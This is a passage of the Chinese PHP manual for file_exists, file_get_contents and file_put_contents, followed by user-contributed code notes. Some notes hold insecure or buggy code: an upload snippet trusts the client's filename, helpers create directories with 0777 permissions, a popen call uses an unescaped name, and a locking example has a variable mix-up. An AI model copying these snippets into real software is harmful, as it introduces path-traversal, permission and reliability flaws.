} else {
echo "The file $filename does not exist";
}
?>

错误／异常

失败时抛出 E_WARNING 警告。

参见

  • is_readable() - 判断给定文件名是否可读
  • is_writable() - 判断给定的文件名是否可写
  • is_file() - 判断给定文件名是否为一个正常的文件
  • file() - 把整个文件读入一个数组中
  • SplFileInfo

User Contributed Notes

Steve GS 08-Apr-2022 09:04
Wordpress always prepends the full URL to any file it stores in its database so, as noted elsewhere, file_exists() can't find the file since it uses the 'document root', not the URL.  An easy way out of this is to use:

file_exists (str_replace (home_url(), $_SERVER['DOCUMENT_ROOT'], $file) )

to check if file $file exists.  Note: As from PHP8, 'DOCUMENT_ROOT' must be enclosed within SQUARE BRACKETS, not braces as suggested by ferodano at gmail dot com

Or, if not using WP, replace home_url() above with the absolute URL name, eg. 'https://mywebsite.com' - within quotes and no trailing foreslash.
trevorhawes2 at gmail dot com 23-Jun-2021 06:06
NB: This function expects the full server-related pathname to work.

For example, if you run a PHP routine from within, for example, the root folder of your website and and ask:

$bstr = file_exists("/images/Proofreading_patients.jpg");

You will get FALSE even if that file does exist off root.

You need to add

$bstr = file_exists(__DIR_."/images/Proofreading_patients.jpg");

to get it to return TRUE - ie : /srv/www/mywebsite.com/public/images/Proofreading_patients.jpg
varrg 29-Aug-2019 09:55
file_exists() is vulnerable to race conditions and clearstatcache() is not adequate to avoid it.

The following function is a good solution:

<?php
function file_exists_safe($file) {
    if (!$fd = fopen($file, 'xb')) {
        return true;  // the file already exists
    }
    fclose($fd);  // the file is now created, we don't need the file handler
    return false;
}
?>

The function will create a file if non-existent, following calls will fail because the file exists (in effect being a lock).

IMPORTANT: The file will remain on the disk if it was successfully created and you must clean up after you, f.ex. remove it or overwrite it. This step is purposely omitted from the function as to let scripts do calculations all the while being sure the file won't be "seized" by another process.

NOTE: This method fails if the above function is not used for checking in all other scripts/processes as it doesn't actually lock the file.
FIX: You could flock() the file to prevent that (although all other scripts similarly must check it with flock() then, see https://www.php.net/manual/en/function.flock.php). Be sure to unlock and fclose() the file AFTER you're done with it, and not within the above function:

<?php
function create_and_lock($file) {
    if (!$fd = fopen($file, 'xb')) {
        return false;
    }
    if (!flock($fd, LOCK_EX|LOCK_NB)) {  // may fail for other reasons, LOCK_NB will prevent blocking
        fclose($fd);
        unlink($file);  // clean up
        return false;
    }
    return $fd;
}

if ($lock = create_and_lock("foo.txt")) {
    // do stuff
    flock($fd, LOCK_UN);  // unlock
    fclose($fd);  // close
}
?>

SEE ALSO: https://linux.die.net/man/2/open about O_CREAT|O_EXCL (which is used with the 'x' modifier for fopen()) and problems with NFS
jag 24-May-2019 11:00
file_exists() does NOT search the php include_path for your file, so don't use it before trying to include or require.

use

    @$result = include $filename;

Yes, include does return false when the file can't be found, but it does also generate a warning. That's why you need the @. Don't try to get around the warning issue by using file_exists(). That will leave you scratching your head until you figure out or stumble across the fact that file_exists() DOESN'T SEARCH THE PHP INCLUDE_PATH.
vcoletti at tiscali dot it 26-Jul-2017 10:35
With PHP 7.0 on Ubuntu 17.04 and with the option allow_url_fopen=On, file_exists() returns always false when trying to check a remote file via HTTP.

So
        $url="http://www.somewhere.org/index.htm";
        if (file_exists($url)) echo "Wow!\n";
        else echo "missing\n";

returns always "missing", even for an existing URL.

I found that in the same situation the file() function can read the remote file, so I changed my routine in

        $url="http://www.somewhere.org/index.htm";
        if (false!==file($url)) echo "Wow!\n";
        else echo "missing\n";

This is clearly a bit slower, especially if the remote file is big, but it solves this little problem.
ziptwipi at goioia dot com 17-Aug-2016 05:44
Note that realpath() will return false if the file doesn't exist. So if you're going to absolutize the path and resolve symlinks anyway, you can just check the return value from realpath() instead of calling file_exists() first
broken at links dot com 14-May-2014 12:29
file_exists() will return FALSE for broken links

$ ln -s does_not_exist my_link
$ ls -l
lrwxr-xr-x   1 user  group    14 May 13 17:28 my_link -> does_not_exist
$ php -r "var_dump(file_exists('my_link'));"
bool(false)
welkom at remconijhuis dot nl 30-Dec-2013 11:10
I needed to measure performance for a project, so I did a simple test with one million file_exists() and is_file() checks. In one scenario, only seven of the files existed. In the second, all files existed. is_file() needed 3.0 for scenario one and 3.3 seconds for scenario two.  file_exists() needed 2.8 and 2.9 seconds, respectively. The absolute numbers are off course system-dependant, but it clearly indicates that file_exists() is faster.
DeyV at poczta dot php dot pl 13-Jan-2012 04:47
Great alternative to file_exists() is stream_resolve_include_path()
spark at limao dot com dot br 13-Apr-2011 07:26
this code here is in case you want to check if a file exists in another server:

<?php
function fileExists($path){
    return (@fopen($path,"r")==true);
}
?>

unfortunately the file_exists can't reach remote servers, so I used the fopen function.
ferodano at gmail dot com 16-Sep-2009 01:54
You could use document root to be on the safer side because the function does not take relative paths:

<?php
if( file_exists( $_SERVER{'DOCUMENT_ROOT'} . "/my_images/abc.jpg"))  {
   ...
}
?>

Do not forget to put the slash '/', e.g. my doc root in Ubuntu is /var/www without the slash.
pgl at yoyo dot org 31-Jul-2009 07:03
Note that this will return false for streams, eg, php://stdin.
fabin dot gnu at gmail dot com 31-Jan-2009 01:03
The code can be used to t a filename that can be used to create a new filename.

<?php
function generateRandomString($length = 8)
{
    $string = "";

    //character that can be used
    $possible = "0123456789bcdfghjkmnpqrstvwxyz";

    for($i=0;$i < $length;$i++)
    {
        $char = substr($possible, rand(0, strlen($possible)-1), 1);

        if (!strstr($string, $char))
        {
            $string .= $char;
        }
    }

    return $string;
}

function randomFile($folder = '', $extension = '')
{
    $folder = trim($folder);
    $folder = ($folder == '') ? './' : $folder;

    //check if directory exist
    if (!is_dir($folder)){ die('invalid folder given!'); }

    //generate a filepath
    $filepath = $folder . "/" . generateRandomString(128) . $extension;

    //check if that filepath already exist, if it exist if generates again
    //till if gets one that doesn't exist
    while(file_exists($filepath))
    {
        $filepath = $folder . "/" . generateRandomString(128) . $extension;
    }

    return $filepath;
}
?>
kevin at cuznersoft dot com 04-Nov-2008 08:32
My way of making sure files exist before including them is as follows (example: including a class file in an autoloader):

<?php
function __autoload($name)
{
    $path = explode(":", ini_get('include_path')); //get all the possible paths to the file (preloaded with the file structure of the project)
    foreach($path as $tryThis)
    {
        //try each possible iteration of the file name and use the first one that comes up
        // name.class.php first
        $exists = file_exists($tryThis . '/' . $name . '.class.php');
        if ($exists)
        {
            include_once($name . '.class.php');
            return;
        }

        //ok that didn't work, try the other way around
        $exists = file_exists($tryThis . '/' . 'class.' . $name . '.php');
        if ($exists)
        {
            include_once('class.' . $name . '.php');
            return;
        }

        //neither did that...let's try as an inc.php
        $exists = file_exists($tryThis . '/' . $name . '.inc.php');
        if ($exists)
        {
            include_once($name . '.inc.php');
            return;
        }
    }

    // can't find it...
    die("Class $name could not be found!");
}
?>
Avee 19-Aug-2008 08:21
I made a bit of code that sees whether a file served via RTSP is there or not:

<?php
function rtsp_exists($url) {

    $server = parse_url($url, PHP_URL_HOST);
    $port = "554";
    $hdrs = "DESCRIBE " .$url ." RTSP/1.0"."\r\n\r\n";

    //Open connection (15s timeout)
    $sh = fsockopen($server, $port, $err, $err_otp, 15);
    //Check connections
    if(!$sh) return false;
    //Send headers
    fputs($sh,$hdrs);
    //Receive data (1KB)
    $rtds = fgets($sh, 1024);
    //Close socket
    fclose($sh);

    return strpos($rtds, "200 OK") > 0;
}
?>
dan at sudonames dot com 05-Aug-2008 05:41
Here is a simpler version of url_exists:

<?php
function url_exists($url) {
    $hdrs = @get_headers($url);
    return is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/',$hdrs[0]) : false;
}
?>
stuart 26-Feb-2008 10:44
When using file_exists, seems you cannot do:

<?php
foreach ($possibles as $poss)
{
    if ( file_exists(SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg') )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

so you must do:

<?php
foreach ($possibles as $poss)
{
    $img = SITE_RANGE_IMAGE_PATH .$this->range_id .'/ '.$poss .'.jpg'
    if ( file_exists($img) )
    {
        // exists
    }
    else
    {
        // not found
    }
}
?>

Then things will work fine.

This is at least the case on this Windows system running php 5.2.5 and apache 2.2.3

Not sure if it is down to the concatenation or the fact theres a constant in there, i'm about to run away and test just that...
jaz-t at hotmail dot com 26-Feb-2008 07:12
Note on openspecies entry (excellent btw, thanks!).

If your server cannot resolve its own DNS, use the following:
$f = preg_replace('/www\.yourserver\.(net|com)/', getenv('SERVER_ADDR'), $f);

Just before the $h = @get_headers($f); line.

Replace the extensions (net|com|...) in the regexp expression as appropriate.

EXAMPLE:
File you are checking for: http://www.youserver.net/myfile.gif
Server IP: 10.0.0.125

The preg_replace will effectively 'resolve' the address for you by assigning $f as follows:
http://10.0.0.125/myfile.gif
maurice at idify dot nl 20-Nov-2007 02:45
Note: The results of this function are cached. See clearstatcache() for more details.

That's a pretty big note. Don't forget this one, since it can make your file_exists() behave unexpectedly - probably at production time ;)
marufit at gmail dot com 12-Nov-2007 03:22
Older php (v4.x) do not work with get_headers() function. So I made this one and working.

<?php
function url_exists($url) {
    // Version 4.x supported
    $handle   = curl_init($url);
    if (false === $handle)
    {
        return false;
    }
    curl_setopt($handle, CURLOPT_HEADER, false);
    curl_setopt($handle, CURLOPT_FAILONERROR, true);  // this works
    curl_setopt($handle, CURLOPT_NOBODY, true);
    curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
    $connectable = curl_exec($handle);
    curl_close($handle);
    return $connectable;
}
?>
ktcb123 at hotmail dot com 22-Oct-2007 12:26
For some reason, none of the url_exists() functions posted here worked for me, so here is my own tweaked version of it.

<?php
    function url_exists($url){
        $url = str_replace("http://", "", $url);
        if (strstr($url, "/")) {
            $url = explode("/", $url, 2);
            $url[1] = "/".$url[1];
        } else {
            $url = array($url, "/");
        }

        $fh = fsockopen($url[0], 80);
        if ($fh) {
            fputs($fh,"GET ".$url[1]." HTTP/1.1\nHost:".$url[0]."\n\n");
            if (fread($fh, 22) == "HTTP/1.1 404 Not Found") { return FALSE; }
            else { return TRUE;    }

        } else { return FALSE;}
    }
?>
guillermogomezruiz at gmail dot com 07-Sep-2007 04:08
I was having problems with the file_exists when using urls, so I made this function:

<?php
function file_exists_2($filePath)
{
    return ($ch = curl_init($filePath)) ? @curl_close($ch) || true : false;
}
?>

Cheers!
bvazquez at siscomx dot com 04-Jul-2007 09:13
If you are trying to access a Windows Network Share you have to configure your WebServer with enough permissions for example:

$file = fopen("\\siscomx17\c\websapp.log",'r');

You will get an error telling you that the pathname doesnt exist this will be because Apache or IIS run as LocalSystem so you will have to enter to Services and configure Apache on "Open a session as" Create a new user that has enough permissions and also be sure that target share has the proper permissions.

Hope this save some hours of research to anyone.
vernon at kesnerdesigns dot net 10-May-2007 08:44
In response to seejohnrun's version to check if a URL exists. Even if the file doesn't exist you're still going to get 404 headers.  You can still use get_headers if you don't have the option of using CURL..

$file = 'http://www.domain.com/somefile.jpg';
$file_headers = @get_headers($file);
if($file_headers[0] == 'HTTP/1.1 404 Not Found') {
    $exists = false;
}
else {
    $exists = true;
}
earle dot west at transactionalweb dot com 14-Mar-2007 05:49
If the file being tested by file_exists() is a file on a symbolically-linked directory structure, the results depend on the permissions of the directory tree node underneath the linked tree.   PHP under a web server (i.e. apache) will respect permissions of the file system underneath the symbolic link, contrasting with PHP as a shell script which respects permissions of the directories that are linked (i.e. on top, and visible).

This results in files that appear to NOT exist on a symbolic link, even though they are very much in existance and indeed are readable by the web server.
07-Jan-2006 01:08
I wrote this little handy function to check if an image exists in a directory, and if so, return a filename which doesnt exists e.g. if you try 'flower.jpg' and it exists, then it tries 'flower[1].jpg' and if that one exists it tries 'flower[2].jpg' and so on. It works fine at my place. Ofcourse you can use it also for other filetypes than images.

<?php
function imageExists($image,$dir) {

    $i=1; $probeer=$image;

    while(file_exists($dir.$probeer)) {
        $punt=strrpos($image,".");
        if(substr($image,($punt-3),1)!==("[") && substr($image,($punt-1),1)!==("]")) {
            $probeer=substr($image,0,$punt)."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        } else {
            $probeer=substr($image,0,($punt-3))."[".$i."]".
            substr($image,($punt),strlen($image)-$punt);
        }
        $i++;
    }
    return $probeer;
}
?>
Fabrizio (staff at bibivu dot com) 21-Dec-2005 06:11
here a function to check if a certain URL exist:
<?php
    function url_exists($url) {
        $a_url = parse_url($url);
        if (!isset($a_url['port'])) $a_url['port'] = 80;
        $errno = 0;
        $errstr = '';
        $timeout = 30;
        if(isset($a_url['host']) && $a_url['host']!=gethostbyname($a_url['host'])){
            $fid = fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
            if (!$fid) return false;
            $page = isset($a_url['path'])  ?$a_url['path']:'';
            $page .= isset($a_url['query'])?'?'.$a_url['query']:'';
            fputs($fid, 'HEAD '.$page.' HTTP/1.0'."\r\n".'Host: '.$a_url['host']."\r\n\r\n");
            $head = fread($fid, 4096);
            fclose($fid);
            return preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head);
        } else {
            return false;
        }
    }
?>

in my CMS, I am using it with those lines:
<?php
        if(!isset($this->f_exist[$image]['exist']))
            if(strtolower(substr($fimage,0,4)) == 'http' || strtolower(substr($fimage,0,4)) == 'www.'){
                if(strtolower(substr($image,0,4)) == 'www.'){
                    $fimage = 'http://'.$fimage;
                    $image = 'http://'.$image;
                }
                $this->f_exist[$image]['exist'] = $this->url_exists($fimage); //for now
            } else {
                $this->f_exist[$image]['exist'] = ($fimage!='' && file_exists($fimage) && is_file($fimage) && is_readable($fimage) && filesize($fimage)>0);
            }
        }
?>
ihoss dot com at gmail dot com 19-Oct-2005 07:37
The following script checks if there is a file with the same name and adds _n to the end of the file name, where n increases. if img.jpg is on the server, it tries with img_0.jpg, checks if it is on the server and tries with img_1.jpg.
<?php
  $img = "images/".$_FILES['bilde']['name'];
  $t=0;
  while(file_exists($img)){
    $img = "images/".$_FILES['bilde']['name'];
    $img=substr($img,0,strpos($img,"."))."_$t".strstr($img,".");
    $t++;
  }
  move_uploaded_file($_FILES['bilde']['tmp_name'], $img);
?>
tma at 2p dot cz 24-Aug-2005 01:47
If checking for a file newly created by an external program in Windows then file_exists() does not recognize it immediately.  Iy seems that a short timeout may be required.

<?
    $file = 'file.tmp';
    if ($h = popen("start \"bla\" touch $file", "r")) {
      pclose($h);
   // now I would like know if a file was created
   // note: usleep not supported
      $start = gettimeofday();
      while (!file_exists(trim($file, " '\""))) {
        $stop = gettimeofday();
        if ( 1000000 * ($stop['sec'] - $start['sec']) + $stop['usec'] - $start['usec'] > 500000) break;  // wait a moment
     }

     if (file_exists($file))   // now should be reliable
?>
andrewNOSPAMPLEASE at abcd dot NOSPAMERSca 11-Feb-2005 05:29
file_exists will have trouble finding your file if the file permissions are not read enabled for 'other' when not owned by your php user. I thought I was having trouble with a directory name having a space in it (/users/andrew/Pictures/iPhoto Library/AlbumData.xml) but the reality was that there weren't read permissions on Pictures, iPhoto Library or AlbumData.xml. Once I fixed that, file_exists worked.
Nathaniel 08-Feb-2005 09:08
I spent the last two hours wondering what was wrong with my if statement: file_exists($file) was returning false, however I could call include($file) with no problem.

It turns out that I didn't realize that the php include_path value I had set in the .htaccess file didn't carry over to file_exists, is_file, etc.

Thus:

<?PHP
// .htaccess php_value include_path '/home/user/public_html/';

// includes lies in /home/user/public_html/includes/

//doesn't work, file_exists returns false
if ( file_exists('includes/config.php') )
{
     include('includes/config.php');
}

//does work, file_exists returns true
if ( file_exists('/home/user/public_html/includes/config.php') )
{
    include('includes/config.php');
}
?>

Just goes to show that "shortcuts for simplicity" like setting the include_path in .htaccess can just cause more grief in the long run.


将整个文件读入一个字符串

  • ? file_exists
  • file_put_contents ?
  • PHP Manual
  • 文件系统函数
  • 将整个文件读入一个字符串

file_get_contents

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

file_get_contents — 将整个文件读入一个字符串

说明

file_get_contents(
string $filename,
bool $use_include_path = false,
?resource $context = null,
int $offset = 0,
?int $length = null
): string|false

和 file() 一样，只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 length 的内容。如果失败，file_get_contents() 将返回 false。

file_get_contents() 函数是用来将文件的内容读入到一个字符串中的首选方法。如果操作系统支持还会使用内存映射技术来增强性能。

Note:

如果要打开有特殊字符的 URL （比如说有空格），就需要使用 urlencode() 进行 URL 编码。

参数

filename

要读取的文件的名称。

use_include_path

Note:

常量 FILE_USE_INCLUDE_PATH 用于触发搜索 include path。 因为 FILE_USE_INCLUDE_PATH 是个 int，如果开启了严格类型 将无法启用。 所以要用 true 来代替常量。

context

stream_context_create() 创建的有效的上下文（context）资源。 如果你不需要自定义 context，可以用 null 来忽略。

offset

读取原始数据流的开始位置偏移量。负的 offset 会从数据流的末尾开始统计。

远程文件不支持偏移量寻址（offset）。 对远程文件以较小的 offset 可能可以正常寻址， 但由于是对缓冲流进行操作，所以操作结果不可预测。

length

要读取数据的最大长度。 默认情况下会读到文件末尾。 注意，该参数会应用到处理 stream 的过滤器（filter）中。

返回值

函数返回读取到的数据， 或者在失败时返回 false。

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

错误／异常

以下情况会导致 E_WARNING 级别错误： 无法找到 filename 文件； length 小于零； 在 steam 中无法寻址偏移量 offset。

Windows 下用 file_get_contents() 读取目录会导致 E_WARNING 错误。 PHP 7.4 起，其他操作系统也会出现同样错误。

更新日志

版本 | 说明
8.0.0 | 现在 length 允许为 null。
7.1.0 | 支持负数 offset。

示例

Example #1 获取并输出网站首页 HTML 源码

<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>

Example #2 在 include_path 里搜索

<?php
// 如果开启了严格类型，例如 declare(strict_types=1);
$file = file_get_contents('./people.txt', true);
// 否则就这样写
$file = file_get_contents('./people.txt', FILE_USE_INCLUDE_PATH);
?>

Example #3 读取文件一小节

<?php
// 从第 21 个字符开始，读取 14 字符长度
$section = file_get_contents('./people.txt', FALSE, NULL, 20, 14);
var_dump($section);
?>

以上示例的输出类似于：

string(14) "lle Bjori Ro"

Example #4 使用 stream 上下文（context）

<?php
// 创建 stream
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Accept-language: en\r\n" .
"Cookie: foo=bar\r\n"
)
);

$context = stream_context_create($opts);

// 以下面设置的 HTTP 头来打开文件
$file = file_get_contents('http://www.example.com/', false, $context);
?>

注释

Note: 此函数可安全用于二进制对象。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

Warning

使用 SSL 时，Microsoft IIS 会违反协议不发送 close_notify 标记就关闭连接。PHP 会在到达数据尾端时报告"SSL: Fatal Protocol Error"。 要解决此问题，error_reporting 应设定为降低级别至不包含警告。PHP 4.3.7 及更高版本可以在使用 https:// 包装器打开流时检测出有问题的 IIS 服务器软件 并抑制警告。在使用 fsockopen() 创建 ssl:// 套接字时，开发者需检测并抑制此警告。

参见

  • file() - 把整个文件读入一个数组中
  • fgets() - 从文件指针中读取一行
  • fread() - 读取文件（可安全用于二进制文件）
  • readfile() - 输出文件
  • file_put_contents() - 将数据写入文件
  • stream_get_contents() - 读取资源流到一个字符串
  • stream_context_create() - 创建资源流上下文
  • $http_response_header

User Contributed Notes

KC 29-Nov-2023 01:58
If doing a negative offset to grab the end of a file and the file is shorter than the offset, then file_get_contents( ) will return false.

If you want it to just return what is available when the file is shorter than the negative offset, you could try again.

For example...

$contents = file_get_contents( $log_file, false, null, -4096 ); // Get last 4KB

if ( false === $contents ) {
    // Maybe error, or maybe file less than 4KB in size.

    $contents = file_get_contents( $log_file, false, null );

    if ( false === $contents ) {
        // Handle real error.
    }
}
brentcontact at daha dot us 08-Aug-2023 10:55
To prevent mixed content most browsers/functions will use the protocol already used if you specify only // instead of http:// or https://. This is not the case with file_get_contents. You must specify the protocol.

This does not work:
<?php
$jsonData = file_get_contents('//example.com/file.json');
print $jsonData;
?>

Specifying only 'example.com/file.json' without the double slash does not work either.

When running on Apache 2.4 , using $_SERVER['REQUEST_SCHEME'] is a better way to be protocol agnostic.
<?php
$jsonData = file_get_contents($_SERVER['REQUEST_SCHEME'].'://example.com/file.json');
print $jsonData;
?>

If using another web server, you may have to get the protocol another way or hard code it.
daniel at dangarbri dot tech 16-Mar-2023 04:20
Note that if an HTTP request fails but still has a response body, the result is still false, Not the response body which may have more details on why the request failed.
soger 20-Sep-2022 12:54
There's barely a mention on this page but the $http_response_header will be populated with the HTTP headers if your file was a link. For example if you're expecting an image you can do this:

<?php
$data = file_get_contents('https://example.net/some-link');

$mimetype = null;
foreach ($http_response_header as $v) {
    if (preg_match('/^content\-type:\s*(image\/[^;\s\n\r]+)/i', $v, $m)) {
        $mimetype = $m[1];
    }
}

if (!$mimetype) {
    // not an image
}
453034559 at qq dot com 14-Sep-2021 03:22
//从指定位置获取指定长度的文件内容
function file_start_length($path,$start=0,$length=null){
    if(!file_exists($path)) return false;
    $size=filesize($path);
    if($start<0) $start+=$size;
    if($length===null) $length=$size-$start;
    return file_get_contents($path, false, null, $start, $length );
}
Anonymous 24-Aug-2021 07:53
if the connection is
content-encoding: gzip
and you need to manually ungzip it, this is apparently the key
$c=gzinflate( substr($c,10,-8) );
(stolen from the net)
allenmccabe at gmail dot com 27-Jul-2021 09:11
I'm not sure why @jlh was downvoted, but I verified what he reported.

>>> file_get_contents($path false, null, 5, null)
=> ""
>>> file_get_contents($path, false, null, 5, 5)
=> "r/bin"
Bart Friederichs 16-Apr-2012 12:17
file_get_contents can do a POST, create a context for that first:

<?php

$opts = array('http' =>
  array(
    'method'  => 'POST',
    'header'  => "Content-Type: text/xml\r\n".
      "Authorization: Basic ".base64_encode("$https_user:$https_password")."\r\n",
    'content' => $body,
    'timeout' => 60
  )
);

$context  = stream_context_create($opts);
$url = 'https://'.$https_server;
$result = file_get_contents($url, false, $context, -1, 40000);

?>


将数据写入文件

  • ? file_get_contents
  • file ?
  • PHP Manual
  • 文件系统函数
  • 将数据写入文件

file_put_contents

(PHP 5, PHP 7, PHP 8)

file_put_contents — 将数据写入文件

说明

file_put_contents(
string $filename,
mixed $data,
int $flags = 0,
?resource $context = null
): int|false

和依次调用 fopen()，fwrite() 以及 fclose() 功能一样。

如果 filename 不存在，将会创建文件。反之，存在的文件将会重写，除非设置 FILE_APPEND flag。

参数

filename

要被写入数据的文件名。

data

要写入的数据。类型可以是 string，array 或者是 stream 资源（如上面所说的那样）。

如果 data 指定为 stream 资源，这里 stream 中所保存的缓存数据将被写入到指定文件中，这种用法就相似于使用 stream_copy_to_stream() 函数。

参数 data 可以是数组（但不能为多维数组），这就相当于 file_put_contents($filename, join('', $array))。

flags

flags 的值可以是 以下 flag 使用 OR (|) 运算符进行的组合。

Available flags
Flag | 描述
FILE_USE_INCLUDE_PATH | 在 include 目录里搜索 filename。 更多信息可参见 include_path。
FILE_APPEND | 如果文件 filename 已经存在，追加数据而不是覆盖。
LOCK_EX | 在写入时获取文件独占锁。换句话说，在调用 fopen() 和 fwrite() 中间发生了 flock() 调用。这与调用带模式"x"的 fopen() 不同。

context

一个 context 资源。

返回值

该函数将返回写入到文件内数据的字节数，失败时返回false

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 简单用法示例

<?php
$file = 'people.txt';
// 打开文件获取已经存在的内容
$current = file_get_contents($file);
// 追加新成员到文件
$current .= "John Smith\n";
// 将内容写回文件
file_put_contents($file, $current);
?>

Example #2 Using flags

<?php
$file = 'people.txt';
// The new person to add to the file
$person = "John Smith\n";
// Write the contents to the file,
// using the FILE_APPEND flag to append the content to the end of the file
// and the LOCK_EX flag to prevent anyone else writing to the file at the same time
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

注释

Note: 此函数可安全用于二进制对象。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

参见

  • fopen() - 打开文件或者 URL
  • fwrite() - 写入文件（可安全用于二进制文件）
  • file_get_contents() - 将整个文件读入一个字符串
  • stream_context_create() - 创建资源流上下文

User Contributed Notes

Anonymous 08-May-2022 07:34
A more simplified version of the method that creates subdirectories:

function path_put_contents($filePath, $contents, $flags = 0) {

    if (! is_dir($dir = implode('/', explode('/', $filePath, -1))))
        mkdir($dir, 0777, true);
    file_put_contents($filePath, $contents, $flags);
}
jul dot rosset at gmail dot com 04-Jan-2021 03:56
This function doesn't return False if all data isn't write, especially when data is a stream resource

You must check yourself using return value.
<?php
    $url = 'https://monsite.fr/image.png';
    $size = filesize($url);
    $written = file_put_contents('image.png', fopen($url, 'r'));
    if ($size === false || $size != $written) {
        die('Download failed');
    }
?>
maksam07 at gmail dot com 05-Mar-2019 10:47
A slightly simplified version of the method: http://php.net/manual/ru/function.file-put-contents.php#84180

<?php
function file_force_contents( $fullPath, $contents, $flags = 0 ){
    $parts = explode( '/', $fullPath );
    array_pop( $parts );
    $dir = implode( '/', $parts );

    if( !is_dir( $dir ) )
        mkdir( $dir, 0777, true );

    file_put_contents( $fullPath, $contents, $flags );
}

file_force_contents( ROOT.'/newpath/file.txt', 'message', LOCK_EX );
?>
daniel at garcianoriega dot com 06-Oct-2018 04:07
I faced the problem of converting a downloaded csv file that had Windows-1252 encoding, so to convert it to UTF-8 this worked for me:

$from = 'Windows-1252';
$to = 'UTF-8';

$content = file_get_contents($this->path());

file_put_contents($this->path(), mb_convert_encoding($content, $to, $from));

where "$this->path()" has the path of the file... Using this the file is converted from Windows-1252 to UTF-8.

With this you can import it with mysqlimport with no problems.
Abe 30-May-2018 12:57
If you need to read a file, process the contents, and then write the contents back, all inside a lock so that no other process can interfere, then you probably can't use file_put_contents in lock mode.

As a work around, you can consider trying the following code to do a file write (fwrite) inside of a file lock.

Play with the $overwriting= setting to switch from simply appending to completely overwriting.

      <?php
      // Tested in PHP7.0.18

      $trackErrors = ini_get('track_errors');
      ini_set('track_errors', 1);

      $filename="c:/temp/test.txt";

      if ( ! file_exists($filename) ) {
         touch($filename);
      }

      $mode="r+";
      $fh=fopen($filename, $mode);
      if ( ! $fh ) {
         echo "<LI style='color:red'>Failed to open $filename in $mode";
         die();
      }

      if ( 1==1 ) {
         flock($fh, LOCK_EX);

         if ( 1==1 ) {
             if (filesize($filename) > 0) {
               $txt = fread($fh, filesize($filename));
               echo "BEFORE:<OL>$txt</OL>";
            }
            else {
               $txt = "empty";
            }

            $txt = "<LI>Date is now " . gmdate("Y-m-d H:i:s", time());

            echo "<HR>WRITING:<OL>";
            if ( 1==1 ) {

               $overwrite = false;
               if ($overwrite) {
                  echo "(Overwrite)<BR><BR>";
                  ftruncate($fh, 0);
                  // ftruncate is here as rewind will move the pointer
                  // to the beginning of the file and allow overwrite,
                  // but it will not remove existing content that
                  // extends beyond the length of the new write
                  rewind($fh);
               }
               else {
                  echo "(Appending)<BR><BR>";
               }

               if (fwrite($fh, $txt) == FALSE) {
                  echo "<LI style='color:red'>Failed to write to $filename";
                  die();
               }
               else {
                  echo "$txt";
               }
               fflush($fh);

            }
            echo "</OL>";
         }
         flock($fh, LOCK_UN);
      }
      fclose($fh);

      // -------------------------------------------------------------------

      echo "<HR>AFTER:<OL>";
      if ( 1==2 ) {
          // I've noticed that this block fails to pick up the newly
          // written content when run with fread, but does work with
          // the fgets logic below - possibly there is caching going on.
          $mode = "r";
          $fh2 = fopen($filename, $mode);
          $contents = fread($fh2, filesize($filename));
          echo "$contents";
          fclose($fh2);
      }
      else {
          $fh3 = fopen($filename, "r");
          while (!feof($fh3)) {
              $line = fgets($fh3);
              echo $line;
          }
          fclose($fh3);
      }
      echo "</OL>";

      echo "<HR>Fin";
      ?>
briethings at gmail dot com 22-Mar-2018 03:11
Here is a stupid pitfall I just fell into.
I think it may happen rather frequently, so I report it.

A common situation is that the $filename argument is built from two variables:
file_put_contents($path . $file, $content);

Say that $path = 'path/to' and $file = 'file.txt': you see that $path lacks its ending "/", so the resulting full path is 'path/tofile.txt'.

Then you look at 'path/to' and don't see any 'file.txt', although no warning or notice was thrown!
And may be (like for me :D) it'll take time before you realize that a bad 'tofile.txt' was created in the *parent* directory of the one where you were looking for your file.
marc at gutt dot it 27-Mar-2017 01:57
This php.net example could be confusing:
<?php
file_put_contents($file, $person, FILE_APPEND | LOCK_EX);
?>

You do not need LOCK_EX if you write only to a file (like log files). Multiple writing processes are already queued. Test it on your own by calling this script 4 times simultaneously:
<?php
function string_rand($len, $split="\n") {
    return substr(chunk_split(bin2hex(openssl_random_pseudo_bytes(ceil($len / 2))), 1023, $split), 0, $len);
}

ini_set('memory_limit', '200M');

if (!file_put_contents('../cache4/file.txt', string_rand(102400000), FILE_APPEND)) {
    exit('file_put_contents() error!');
}

clearstatcache();
echo 'filesize: ' . filesize('../cache4/file.txt') . PHP_EOL;

$fp = fopen('../cache4/file.txt', 'r');
if ($fp) {
    while (($line = fgets($fp)) !== false) {
        if (strlen($line) != 1024) {
            exit('Line length error!');
        }
    }
    fclose($fp);
}
?>

You will not see an error, the last called script needs the longest time (as it is the last one in the queue) and the final size will be 409600000 bytes as it should be.
vaneatona at gmail dot com 15-Mar-2017 09:09
I'm updating a function that was posted, as it would fail if there was no directory. It also returns the final value so you can determine if the actual file was written.

    public static function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';

        foreach($parts as $part) {
            if (! is_dir($dir .= "{$part}/")) mkdir($dir);
        }

        return file_put_contents("{$dir}{$file}", $contents);
    }
